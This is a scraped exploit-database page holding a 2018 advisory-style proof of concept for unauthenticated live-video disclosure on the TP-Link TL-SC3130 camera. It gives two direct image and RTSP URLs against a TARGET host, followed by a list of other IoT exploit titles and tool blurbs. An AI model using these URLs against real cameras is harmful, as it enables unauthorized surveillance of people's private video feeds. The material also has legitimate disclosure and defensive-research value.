Search for hundreds of thousands of exploits

"TP-Link TL-SC3130 1.6.18 - RTSP Stream Disclosure"

Author

Exploit author

LiquidWorm

Platform

Exploit platform

hardware

Release date

Exploit published date

2018-10-17

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
# Exploit Title: TP-Link TL-SC3130 1.6.18 - RTSP Stream Disclosure
# Author: Gjoko 'LiquidWorm' Krstic @zeroscience
# Date: 2018-10-17
# Vendor: TP-LINK Technologies Co., Ltd.
# Product web page: http://www.tp-link.com
# Affected version: 1.6.18P12_121101
# Tested on: Boa/0.94.14rc21
# CVE: N/A
# References:
# Advisory ID: ZSL-2018-5497
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5497.php

Desc: The TP-Link TL-SC3130 suffers from an unauthenticated and unauthorized
live RTSP stream disclosure.

# PoC:

http://TARGET/jpg/image.jpg
rtsp://TARGET:554/video.3gp
Release DateTitleTypePlatformAuthor
2020-07-08"SuperMicro IPMI 03.40 - Cross-Site Request Forgery (Add Admin)"webappshardware"Metin Yunus Kandemir"
2020-07-08"BSA Radar 1.6.7234.24750 - Cross-Site Request Forgery (Change Password)"webappshardware"William Summerhill"
2020-07-07"Sickbeard 0.1 - Remote Command Injection"webappshardwarebdrake
2020-06-25"mySCADA myPRO 7 - Hardcoded Credentials"remotehardware"Emre Γ–VÜNΓ‡"
2020-06-15"Netgear R7000 Router - Remote Code Execution"webappshardwaregrimm-co
2020-06-08"Kyocera Printer d-COPIA253MF - Directory Traversal (PoC)"webappshardware"Hakan Eren ŞAN"
2020-06-04"Secure Computing SnapGear Management Console SG560 3.1.5 - Arbitrary File Read"webappshardwareLiquidWorm
2020-06-04"AirControl 1.4.2 - PreAuth Remote Code Execution"webappshardware0xd0ff9
2020-06-04"D-Link DIR-615 T1 20.10 - CAPTCHA Bypass"webappshardware"huzaifa hussain"
2020-06-04"SnapGear Management Console SG560 3.1.5 - Cross-Site Request Forgery (Add Super User)"webappshardwareLiquidWorm
Release DateTitleTypePlatformAuthor
2020-06-04"Cayin Signage Media Player 3.0 - Remote Command Injection (root)"webappsmultipleLiquidWorm
2020-06-04"Cayin Content Management Server 11.0 - Remote Command Injection (root)"webappsmultipleLiquidWorm
2020-06-04"SnapGear Management Console SG560 3.1.5 - Cross-Site Request Forgery (Add Super User)"webappshardwareLiquidWorm
2020-06-04"Secure Computing SnapGear Management Console SG560 3.1.5 - Arbitrary File Read"webappshardwareLiquidWorm
2020-06-04"Cayin Digital Signage System xPost 2.5 - Remote Command Injection"webappsmultipleLiquidWorm
2020-05-08"Extreme Networks Aerohive HiveOS 11.0 - Remote Denial of Service (PoC)"doshardwareLiquidWorm
2020-04-24"Furukawa Electric ConsciusMAP 2.8.1 - Remote Code Execution"webappsjavaLiquidWorm
2020-04-21"P5 FNIP-8x16A FNIP-4xSH 1.0.20 - Cross-Site Request Forgery (Add Admin)"webappshardwareLiquidWorm
2020-03-23"FIBARO System Home Center 5.021 - Remote File Include"webappsmultipleLiquidWorm
2020-01-29"Fifthplay S.A.M.I 2019.2_HP - Persistent Cross-Site Scripting"webappshardwareLiquidWorm
2019-12-30"MyDomoAtHome REST API Domoticz ISS Gateway 0.2.40 - Information Disclosure"webappshardwareLiquidWorm
2019-12-30"AVE DOMINAplus 1.10.x - Authentication Bypass"webappshardwareLiquidWorm
2019-12-30"WEMS BEMS 21.3.1 - Undocumented Backdoor Account"webappshardwareLiquidWorm
2019-12-30"AVE DOMINAplus 1.10.x - Credential Disclosure"webappshardwareLiquidWorm
2019-12-30"HomeAutomation 3.3.2 - Authentication Bypass"webappsphpLiquidWorm
2019-12-30"HomeAutomation 3.3.2 - Remote Code Execution"webappsphpLiquidWorm
2019-12-30"Thrive Smart Home 1.1 - Authentication Bypass"webappsphpLiquidWorm
2019-12-30"HomeAutomation 3.3.2 - Cross-Site Request Forgery (Add Admin)"webappsphpLiquidWorm
2019-12-30"HomeAutomation 3.3.2 - Persistent Cross-Site Scripting"webappshardwareLiquidWorm
2019-12-30"AVE DOMINAplus 1.10.x - Unauthenticated Remote Reboot"webappshardwareLiquidWorm
2019-12-30"AVE DOMINAplus 1.10.x - Cross-Site Request Forgery (enable/disable alarm)"webappshardwareLiquidWorm
2019-12-10"Inim Electronics Smartliving SmartLAN 6.x - Hard-coded Credentials"localhardwareLiquidWorm
2019-12-10"Inim Electronics Smartliving SmartLAN 6.x - Remote Command Execution"webappshardwareLiquidWorm
2019-12-10"Inim Electronics Smartliving SmartLAN 6.x - Unauthenticated Server-Side Request Forgery"webappshardwareLiquidWorm
2019-12-02"SmartHouse Webapp 6.5.33 - Cross-Site Request Forgery"webappsphpLiquidWorm
2019-11-14"Siemens Desigo PX 6.00 - Denial of Service (PoC)"doshardwareLiquidWorm
2019-11-13"Linear eMerge E3 1.00-06 - Remote Code Execution"webappshardwareLiquidWorm
2019-11-12"eMerge E3 1.00-06 - Privilege Escalation"webappshardwareLiquidWorm
2019-11-12"CBAS-Web 19.0.0 - Username Enumeration"webappshardwareLiquidWorm
2019-11-12"eMerge E3 1.00-06 - Cross-Site Request Forgery"webappshardwareLiquidWorm
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/45632/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.